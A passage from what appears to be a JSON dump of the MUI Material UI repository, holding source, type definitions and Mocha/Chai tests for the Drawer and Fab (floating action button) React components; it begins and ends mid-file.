/**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    backdrop: PropTypes.elementType,\n    docked: PropTypes.elementType,\n    paper: PropTypes.elementType,\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n  /**\n   * The variant to use.\n   * @default 'temporary'\n   */\n  variant: PropTypes.oneOf(['permanent', 'persistent', 'temporary']),\n};\n\nexport default Drawer;\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/Drawer.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Drawer, { DrawerProps } from '@mui/material/Drawer';\nimport Grow from '@mui/material/Grow';\nimport { PaperProps } from '@mui/material/Paper';\n\nconst paperProps: PaperProps<'span'> = {\n  component: 'span',\n  onClick: (event) => {\n    expectType<React.MouseEvent<HTMLSpanElement, MouseEvent>, typeof event>(event);\n  },\n};\nfunction Test() {\n  return (\n    <React.Fragment>\n      <Drawer open />;\n      <Drawer open slotProps={{ paper: paperProps }} />;\n      <Drawer\n        open\n        slotProps={{\n          // @ts-expect-error — unknown props should be rejected\n          transition: { randomInvalidProp: 'test' },\n        }}\n      />\n      ;\n    </React.Fragment>\n  );\n}\n\n<Drawer\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n    backdrop: {\n      transitionDuration: 1000,\n    },\n    paper: {\n      elevation: 4,\n    },\n    docked: {\n      'aria-hidden': true,\n    },\n    transition: {\n      timeout: 500,\n    },\n  }}\n/>;\n\nfunction Noop() {\n  return null;\n}\n<Drawer\n  slots={{\n    root: 'div',\n    backdrop: Noop,\n    docked: 'div',\n    paper: 'div',\n    transition: Grow,\n  }}\n/>;\n\nfunction Custom(props: DrawerProps) {\n  const { slotProps, ...dialogProps } = props;\n  return (\n    <Drawer\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...dialogProps}\n    >\n      test\n    </Drawer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/Drawer.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Drawer, { drawerClasses as classes } from '@mui/material/Drawer';\nimport { modalClasses } from '@mui/material/Modal';\nimport { getAnchor, isHorizontal } from './Drawer';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Drawer />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  const CustomPaper = React.forwardRef(\n    ({ className, children, ownerState, square, ...props }, ref) => (\n      <i className={className} ref={ref} {...props} data-testid=\"custom\">\n        {children}\n      </i>\n    ),\n  );\n\n  const CustomBackdrop = React.forwardRef(({ transitionDuration, ownerState, ...props }, ref) => (\n    <i ref={ref} data-testid=\"custom\" {...props} />\n  ));\n\n  const CustomTransition = React.forwardRef(\n    ({ onEnter, onExit, onExited, appear, in: inProp, ownerState, ...props }, ref) => (\n      <i ref={ref} data-testid=\"custom\" {...props} />\n    ),\n  );\n\n  describeConformance(\n    <Drawer open disablePortal>\n      <div />\n    </Drawer>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiDrawer',\n      testDeepOverrides: { slotName: 'paper', slotClassName: classes.paper },\n      refInstanceof: window.HTMLDivElement,\n      slots: {\n        root: {\n          expectedClassName: classes.root,\n          testWithComponent: null,\n          testWithElement: null,\n        },\n        paper: {\n          expectedClassName: classes.paper,\n          testWithComponent: CustomPaper,\n          testWithElement: null, // already tested with CustomPaper\n        },\n        backdrop: { expectedClassName: modalClasses.backdrop, testWithElement: CustomBackdrop },\n        transition: {\n          expectedClassName: null,\n          testWithComponent: CustomTransition,\n          testWithElement: CustomTransition,\n        },\n      },\n      skip: ['componentProp', 'themeVariants'],\n    }),\n  );\n\n  // For `permanent` variant, the root is a div instead of a Modal.\n  describeConformance(\n    <Drawer variant=\"permanent\">\n      <div />\n    </Drawer>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiDrawer',\n      testVariantProps: { variant: 'persistent' },\n      refInstanceof: window.HTMLDivElement,\n      slots: {\n        docked: {\n          expectedClassName: classes.docked,\n        },\n      },\n      skip: ['componentProp'],\n    }),\n  );\n\n  describe('prop: variant=temporary', () => {\n    describe('transitionDuration property', () => {\n      const transitionDuration = {\n        enter: 854,\n        exit: 2967,\n      };\n\n      it.skipIf(isJsdom())(\n        'should delay the slide transition to complete using default theme values by default',\n        function test() {\n          const theme = createTheme();\n          const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n          render(\n            <Drawer open>\n              <div />\n            </Drawer>,\n          );\n\n          const container = document.querySelector(`.${classes.root}`);\n          const backdropRoot = container.firstChild;\n          expect(backdropRoot).toHaveComputedStyle({\n            transitionDuration: `${enteringScreenDurationInSeconds}s`,\n          });\n        },\n      );\n\n      it.skipIf(isJsdom())(\n        'should delay the slide transition to complete using custom theme values',\n        function test() {\n          const theme = createTheme({\n            transitions: {\n              duration: {\n                enteringScreen: 1,\n              },\n            },\n          });\n          render(\n            <ThemeProvider theme={theme}>\n              <Drawer open>\n                <div />\n              </Drawer>\n            </ThemeProvider>,\n          );\n\n          const container = document.querySelector(`.${classes.root}`);\n          const backdropRoot = container.firstChild;\n          expect(backdropRoot).toHaveComputedStyle({ transitionDuration: '0.001s' });\n        },\n      );\n\n      it('delay the slide transition to complete using values provided via prop', () => {\n        const handleEntered = spy();\n        const { setProps } = render(\n          <Drawer\n            open={false}\n            transitionDuration={transitionDuration}\n            slotProps={{ transition: { onEntered: handleEntered } }}\n          >\n            <div />\n          </Drawer>,\n        );\n\n        setProps({ open: true });\n\n        expect(handleEntered.callCount).to.equal(0);\n\n        clock.tick(transitionDuration.enter);\n\n        expect(handleEntered.callCount).to.equal(1);\n      });\n    });\n\n    describe('accessibility', () => {\n      it('should have role=\"dialog\" and aria-modal=\"true\" when variant is temporary', () => {\n        render(\n          <Drawer open variant=\"temporary\">\n            <div data-testid=\"child\" />\n          </Drawer>,\n        );\n\n        const paper = document.querySelector(`.${classes.paper}`);\n        expect(paper).to.have.attribute('role', 'dialog');\n        expect(paper).to.have.attribute('aria-modal', 'true');\n      });\n\n      it('should not have role=\"dialog\" and aria-modal=\"true\" when variant is permanent', () => {\n        render(\n          <Drawer variant=\"permanent\">\n            <div data-testid=\"child\" />\n          </Drawer>,\n        );\n\n        const paper = document.querySelector(`.${classes.paper}`);\n        expect(paper).not.to.have.attribute('role');\n        expect(paper).not.to.have.attribute('aria-modal');\n      });\n\n      it('should not have role=\"dialog\" and aria-modal=\"true\" when variant is persistent', () => {\n        render(\n          <Drawer variant=\"persistent\">\n            <div data-testid=\"child\" />\n          </Drawer>,\n        );\n\n        const paper = document.querySelector(`.${classes.paper}`);\n        expect(paper).not.to.have.attribute('role');\n        expect(paper).not.to.have.attribute('aria-modal');\n      });\n    });\n\n    it('should set the custom className for Modal when variant is temporary', () => {\n      render(\n        <Drawer className=\"woofDrawer\" open variant=\"temporary\">\n          <div />\n        </Drawer>,\n      );\n\n      expect(document.querySelector(`.${classes.modal}`)).to.have.class('woofDrawer');\n    });\n\n    it('should set the Paper className', () => {\n      render(\n        <Drawer classes={{ paper: 'woofDrawer' }} open>\n          <div />\n        </Drawer>,\n      );\n\n      expect(document.querySelector(`.${classes.paper}`)).to.have.class('woofDrawer');\n    });\n\n    it('should be closed by default', () => {\n      render(\n        <Drawer>\n          <div data-testid=\"child\" />\n        </Drawer>,\n      );\n\n      expect(screen.queryByTestId('child')).to.equal(null);\n    });\n\n    describe('opening and closing', () => {\n      const transitionDuration = 123;\n      const drawerElement = (\n        <Drawer transitionDuration={transitionDuration}>\n          <div data-testid=\"child\" />\n        </Drawer>\n      );\n\n      it('should open and close', () => {\n        const { setProps } = render(drawerElement);\n\n        setProps({ open: true });\n\n        expect(screen.getByTestId('child')).not.to.equal(null);\n\n        setProps({ open: false });\n        clock.tick(transitionDuration);\n\n        expect(screen.queryByTestId('child')).to.equal(null);\n      });\n    });\n  });\n\n  describe('prop: variant=persistent', () => {\n    it('should render a div instead of a Modal when persistent', () => {\n      const { container } = render(\n        <Drawer variant=\"persistent\">\n          <div />\n        </Drawer>,\n      );\n\n      expect(container.firstChild).to.have.tagName('div');\n      expect(container.firstChild).to.have.class(classes.docked);\n    });\n\n    it('should render Slide > Paper inside the div', () => {\n      const transitionDuration = 123;\n      const handleEntered = spy();\n      const { container, setProps } = render(\n        <Drawer\n          open={false}\n          transitionDuration={transitionDuration}\n          slotProps={{ transition: { onEntered: handleEntered } }}\n          variant=\"persistent\"\n        >\n          <div />\n        </Drawer>,\n      );\n\n      setProps({ open: true });\n\n      expect(handleEntered.callCount).to.equal(0);\n\n      clock.tick(transitionDuration);\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(container.firstChild.firstChild).to.have.class(classes.paper);\n    });\n  });\n\n  describe('prop: variant=permanent', () => {\n    const drawerElement = (\n      <Drawer variant=\"permanent\">\n        <div />\n      </Drawer>\n    );\n\n    it('should render a div instead of a Modal when permanent', () => {\n      const { container } = render(drawerElement);\n      const root = container.querySelector(`.${classes.root}`);\n\n      expect(root).not.to.equal(null);\n      expect(root).to.have.tagName('div');\n      expect(root).to.have.class(classes.docked);\n    });\n  });\n\n  describe('prop: slotProps.paper', () => {\n    it('should merge class names', () => {\n      const { container } = render(\n        <Drawer slotProps={{ paper: { className: 'my-class' } }} variant=\"permanent\">\n          <div />\n        </Drawer>,\n      );\n      expect(container.querySelector(`.${classes.paper}`)).to.have.class('my-class');\n    });\n  });\n\n  describe('slide direction', () => {\n    it('should return the opposing slide direction', () => {\n      const MockedSlide = React.forwardRef(function MockedSlide(props, ref) {\n        const { children, in: inProp, direction } = props;\n\n        if (!inProp) {\n          return null;\n        }\n\n        return (\n          <div data-direction={direction} data-testid=\"slide\" ref={ref} tabIndex={-1}>\n            {children}\n          </div>\n        );\n      });\n\n      const { setProps } = render(\n        <Drawer open slots={{ transition: MockedSlide }}>\n          <div />\n        </Drawer>,\n      );\n\n      setProps({ anchor: 'left' });\n      expect(screen.getByTestId('slide')).to.have.attribute('data-direction', 'right');\n\n      setProps({ anchor: 'right' });\n      expect(screen.getByTestId('slide')).to.have.attribute('data-direction', 'left');\n\n      setProps({ anchor: 'top' });\n      expect(screen.getByTestId('slide')).to.have.attribute('data-direction', 'down');\n\n      setProps({ anchor: 'bottom' });\n      expect(screen.getByTestId('slide')).to.have.attribute('data-direction', 'up');\n    });\n  });\n\n  describe('Right To Left', () => {\n    it('should switch left and right anchor when theme is right-to-left', () => {\n      const MockedSlide = React.forwardRef(function MockedSlide(props, ref) {\n        const { children, in: inProp, direction } = props;\n\n        if (!inProp) {\n          return null;\n        }\n\n        return (\n          <div data-direction={direction} data-testid=\"slide\" ref={ref} tabIndex={-1}>\n            {children}\n          </div>\n        );\n      });\n      const theme = createTheme({\n        direction: 'rtl',\n      });\n      const view = render(\n        <ThemeProvider theme={theme}>\n          <Drawer open anchor=\"left\" slots={{ transition: MockedSlide }}>\n            <div />\n          </Drawer>\n        </ThemeProvider>,\n      );\n      // slide direction for left is right, if left is switched to right, we should get left\n      expect(screen.getByTestId('slide')).to.have.attribute('data-direction', 'left');\n\n      view.rerender(\n        <ThemeProvider theme={theme}>\n          <Drawer open anchor=\"right\" slots={{ transition: MockedSlide }}>\n            <div />\n          </Drawer>\n        </ThemeProvider>,\n      );\n      // slide direction for right is left, if right is switched to left, we should get right\n      expect(screen.getByTestId('slide')).to.have.attribute('data-direction', 'right');\n    });\n  });\n\n  describe('isHorizontal', () => {\n    it('should recognize left and right as horizontal swiping directions', () => {\n      expect(isHorizontal('left')).to.equal(true);\n      expect(isHorizontal('right')).to.equal(true);\n      expect(isHorizontal('top')).to.equal(false);\n      expect(isHorizontal('bottom')).to.equal(false);\n    });\n  });\n\n  describe('getAnchor', () => {\n    it('should return the anchor', () => {\n      const theme = { direction: 'ltr' };\n\n      expect(getAnchor(theme, 'left')).to.equal('left');\n      expect(getAnchor(theme, 'right')).to.equal('right');\n      expect(getAnchor(theme, 'top')).to.equal('top');\n      expect(getAnchor(theme, 'bottom')).to.equal('bottom');\n    });\n\n    it('should switch left/right if RTL is enabled', () => {\n      const theme = { direction: 'rtl' };\n\n      expect(getAnchor(theme, 'left')).to.equal('right');\n      expect(getAnchor(theme, 'right')).to.equal('left');\n    });\n  });\n\n  describe('zIndex', () => {\n    it('should set correct zIndex on the root element', () => {\n      const theme = createTheme();\n      render(\n        <ThemeProvider theme={theme}>\n          <Drawer open>\n            <div />\n          </Drawer>\n        </ThemeProvider>,\n      );\n      expect(document.querySelector(`.${classes.root}`)).toHaveComputedStyle({\n        zIndex: String(theme.zIndex.drawer),\n      });\n    });\n  });\n\n  describe('prop: anchor', () => {\n    it('should set correct class name on the root element', () => {\n      const { setProps } = render(\n        <Drawer open anchor=\"left\">\n          <div />\n        </Drawer>,\n      );\n\n      expect(document.querySelector(`.${classes.root}`)).to.have.class(classes.anchorLeft);\n\n      setProps({ anchor: 'right' });\n      expect(document.querySelector(`.${classes.root}`)).to.have.class(classes.anchorRight);\n\n      setProps({ anchor: 'top' });\n      expect(document.querySelector(`.${classes.root}`)).to.have.class(classes.anchorTop);\n\n      setProps({ anchor: 'bottom' });\n      expect(document.querySelector(`.${classes.root}`)).to.have.class(classes.anchorBottom);\n    });\n  });\n\n  ['permanent', 'persistent'].forEach((variant) => {\n    it.skipIf(isJsdom())(\n      `should not apply modal styles from theme styleOverrides for variant=${variant}`,\n      () => {\n        const theme = createTheme({\n          components: {\n            MuiDrawer: {\n              styleOverrides: {\n                modal: {\n                  backgroundColor: 'rgb(0, 0, 255)',\n                },\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <Drawer variant={variant}>\n              <div />\n            </Drawer>\n          </ThemeProvider>,\n        );\n\n        const root = container.querySelector(`.${classes.root}`);\n        expect(root).not.toHaveComputedStyle({\n          backgroundColor: 'rgb(0, 0, 255)',\n        });\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/drawerClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DrawerClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"permanent or persistent\"`. */\n  docked: string;\n  /** Styles applied to the Paper component. */\n  paper: string;\n  /** Styles applied to the root element if `anchor=\"left\"`. */\n  anchorLeft: string;\n  /** Styles applied to the root element if `anchor=\"right\"`. */\n  anchorRight: string;\n  /** Styles applied to the root element if `anchor=\"top\"`. */\n  anchorTop: string;\n  /** Styles applied to the root element if `anchor=\"bottom\"`. */\n  anchorBottom: string;\n  /** Styles applied to the Modal component. */\n  modal: string;\n}\n\nexport type DrawerClassKey = keyof DrawerClasses;\n\nexport function getDrawerUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDrawer', slot);\n}\n\nconst drawerClasses: DrawerClasses = generateUtilityClasses('MuiDrawer', [\n  'root',\n  'docked',\n  'paper',\n  'anchorLeft',\n  'anchorRight',\n  'anchorTop',\n  'anchorBottom',\n  'modal',\n]);\n\nexport default drawerClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/index.d.ts",
    "content": "export { default } from './Drawer';\nexport * from './Drawer';\n\nexport { default as drawerClasses } from './drawerClasses';\nexport * from './drawerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/index.js",
    "content": "export { default } from './Drawer';\n\nexport { default as drawerClasses } from './drawerClasses';\nexport * from './drawerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Fab/Fab.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { PropTypes, Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { FabClasses } from './fabClasses';\n\nexport interface FabPropsVariantOverrides {}\n\nexport interface FabPropsSizeOverrides {}\n\nexport interface FabPropsColorOverrides {}\n\nexport interface FabOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FabClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color?:\n    | OverridableStringUnion<\n        PropTypes.Color | 'success' | 'error' | 'info' | 'warning',\n        FabPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * If `true`, the ripple effect is disabled.\n   */\n  disableRipple?: boolean | undefined;\n  /**\n   * The URL to link to when the button is clicked.\n   * If defined, an `a` element will be used as the root node.\n   */\n  href?: string | undefined;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'large'\n   */\n  size?: OverridableStringUnion<'small' | 'medium' | 'large', FabPropsSizeOverrides> | undefined;\n  /**\n   * The variant to use.\n   * @default 'circular'\n   */\n  variant?: OverridableStringUnion<'circular' | 'extended', FabPropsVariantOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type FabTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'button',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & FabOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Floating Action Button](https://next.mui.com/material-ui/react-floating-action-button/)\n *\n * API:\n *\n * - [Fab API](https://next.mui.com/material-ui/api/fab/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const Fab: ExtendButtonBase<FabTypeMap>;\n\nexport type FabProps<\n  RootComponent extends React.ElementType = FabTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<FabTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Fab;\n"
  },
  {
    "path": "packages/mui-material/src/Fab/Fab.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport ButtonBase from '../ButtonBase';\nimport capitalize from '../utils/capitalize';\nimport fabClasses, { getFabUtilityClass } from './fabClasses';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, variant, classes, size } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      `size${capitalize(size)}`,\n      color === 'inherit' ? 'colorInherit' : color,\n    ],\n  };\n\n  const composedClasses = composeClasses(slots, getFabUtilityClass, classes);\n\n  return {\n    ...classes, // forward the focused, disabled, etc. classes to the ButtonBase\n    ...composedClasses,\n  };\n};\n\nconst FabRoot = styled(ButtonBase, {\n  name: 'MuiFab',\n  slot: 'Root',\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      styles[`size${capitalize(ownerState.size)}`],\n      ownerState.color === 'inherit' && styles.colorInherit,\n      styles[capitalize(ownerState.size)],\n      styles[ownerState.color],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.button,\n    minHeight: 36,\n    transition: theme.transitions.create(['background-color', 'box-shadow', 'border-color'], {\n      duration: theme.transitions.duration.short,\n    }),\n    borderRadius: '50%',\n    padding: 0,\n    minWidth: 0,\n    width: 56,\n    height: 56,\n    zIndex: (theme.vars || theme).zIndex.fab,\n    boxShadow: (theme.vars || theme).shadows[6],\n    '&:active': {\n      boxShadow: (theme.vars || theme).shadows[12],\n    },\n    color: theme.vars\n      ? theme.vars.palette.grey[900]\n      : theme.palette.getContrastText?.(theme.palette.grey[300]),\n    backgroundColor: (theme.vars || theme).palette.grey[300],\n    '&:hover': {\n      backgroundColor: (theme.vars || theme).palette.grey.A100,\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: (theme.vars || theme).palette.grey[300],\n      },\n      textDecoration: 'none',\n    },\n    [`&.${fabClasses.focusVisible}`]: {\n      boxShadow: (theme.vars || theme).shadows[6],\n    },\n    variants: [\n      {\n        props: { size: 'small' },\n        style: {\n          width: 40,\n          height: 40,\n        },\n      },\n      {\n        props: { size: 'medium' },\n        style: {\n          width: 48,\n          height: 48,\n        },\n      },\n      {\n        props: { variant: 'extended' },\n        style: {\n          borderRadius: 48 / 2,\n          padding: '0 16px',\n          width: 'auto',\n          minHeight: 'auto',\n          minWidth: 48,\n          height: 48,\n        },\n      },\n      {\n        props: { variant: 'extended', size: 'small' },\n        style: {\n          width: 'auto',\n          padding: '0 8px',\n          borderRadius: 34 / 2,\n          minWidth: 34,\n          height: 34,\n        },\n      },\n      {\n        props: { variant: 'extended', size: 'medium' },\n        style: {\n          width: 'auto',\n          padding: '0 16px',\n          borderRadius: 40 / 2,\n          minWidth: 40,\n          height: 40,\n        },\n      },\n      {\n        props: { color: 'inherit' },\n        style: {\n          color: 'inherit',\n        },\n      },\n    ],\n  })),\n  memoTheme(({ theme }) => ({\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['dark', 'contrastText'])) // check all the used fields in the style below\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            color: (theme.vars || theme).palette[color].contrastText,\n            backgroundColor: (theme.vars || theme).palette[color].main,\n            '&:hover': {\n              backgroundColor: (theme.vars || theme).palette[color].dark,\n              // Reset on touch devices, it doesn't add specificity\n              '@media (hover: none)': {\n                backgroundColor: (theme.vars || theme).palette[color].main,\n              },\n            },\n          },\n        })),\n    ],\n  })),\n  memoTheme(({ theme }) => ({\n    [`&.${fabClasses.disabled}`]: {\n      color: (theme.vars || theme).palette.action.disabled,\n      boxShadow: (theme.vars || theme).shadows[0],\n      backgroundColor: (theme.vars || theme).palette.action.disabledBackground,\n    },\n  })),\n);\n\nconst Fab = React.forwardRef(function Fab(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiFab' });\n  const {\n    children,\n    className,\n    color = 'default',\n    component = 'button',\n    disabled = false,\n    disableFocusRipple = false,\n    focusVisibleClassName,\n    size = 'large',\n    variant = 'circular',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    disabled,\n    disableFocusRipple,\n    size,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <FabRoot\n      className={clsx(classes.root, className)}\n      component={component}\n      internalNativeButton\n      disabled={disabled}\n      focusRipple={!disableFocusRipple}\n      focusVisibleClassName={clsx(classes.focusVisible, focusVisibleClassName)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n      classes={classes}\n    >\n      {children}\n    </FabRoot>\n  );\n});\n\nFab.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'default',\n      'error',\n      'info',\n      'inherit',\n      'primary',\n      'secondary',\n      'success',\n      'warning',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * The URL to link to when the button is clicked.\n   * If defined, an `a` element will be used as the root node.\n   */\n  href: PropTypes.string,\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'large'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'circular'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['circular', 'extended']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Fab;\n"
  },
  {
    "path": "packages/mui-material/src/Fab/Fab.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport Fab, { fabClasses as classes } from '@mui/material/Fab';\nimport ButtonBase, { touchRippleClasses } from '@mui/material/ButtonBase';\nimport Icon from '@mui/material/Icon';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<Fab />', () => {\n  const { render, renderToString } = createRenderer();\n\n  describeConformance(<Fab>Conformance?</Fab>, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiFab',\n    testVariantProps: { variant: 'extended' },\n    testStateOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n    refInstanceof: window.HTMLButtonElement,\n  }));\n\n  it('should render with the root class but no others', () => {\n    render(<Fab>Fab</Fab>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.primary);\n    expect(button).not.to.have.class(classes.secondary);\n    expect(button).not.to.have.class(classes.extended);\n    expect(button).not.to.have.class(classes.focusVisible);\n    expect(button).not.to.have.class(classes.disabled);\n    expect(button).not.to.have.class(classes.colorInherit);\n    expect(button).not.to.have.class(classes.fullWidth);\n    expect(button).not.to.have.class(classes.sizeSmall);\n    expect(button).not.to.have.class(classes.sizeMedium);\n  });\n\n  it('should render an extended floating action button', () => {\n    render(<Fab variant=\"extended\">Fab</Fab>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.extended);\n  });\n\n  it('should render a primary floating action button', () => {\n    render(<Fab color=\"primary\">Fab</Fab>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.primary);\n    expect(button).not.to.have.class(classes.secondary);\n  });\n\n  it('should render a secondary floating action button', () => {\n    render(<Fab color=\"secondary\">Fab</Fab>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.primary);\n    expect(button).to.have.class(classes.secondary);\n  });\n  ['info', 'error', 'warning', 'success'].forEach((color) => {\n    it(`should render a ${color} floating action button`, () => {\n      render(<Fab color={color}>Fab</Fab>);\n      const button = screen.getByRole('button');\n\n      expect(button).to.have.class(classes.root);\n      expect(button).not.to.have.class(classes.primary);\n      expect(button).to.have.class(classes[color]);\n    });\n  });\n\n  it('should render a small floating action button', () => {\n    render(<Fab size=\"small\">Fab</Fab>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.sizeSmall);\n    expect(button).not.to.have.class(classes.sizeMedium);\n  });\n\n  it('should render a medium floating action button', () => {\n    render(<Fab size=\"medium\">Fab</Fab>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    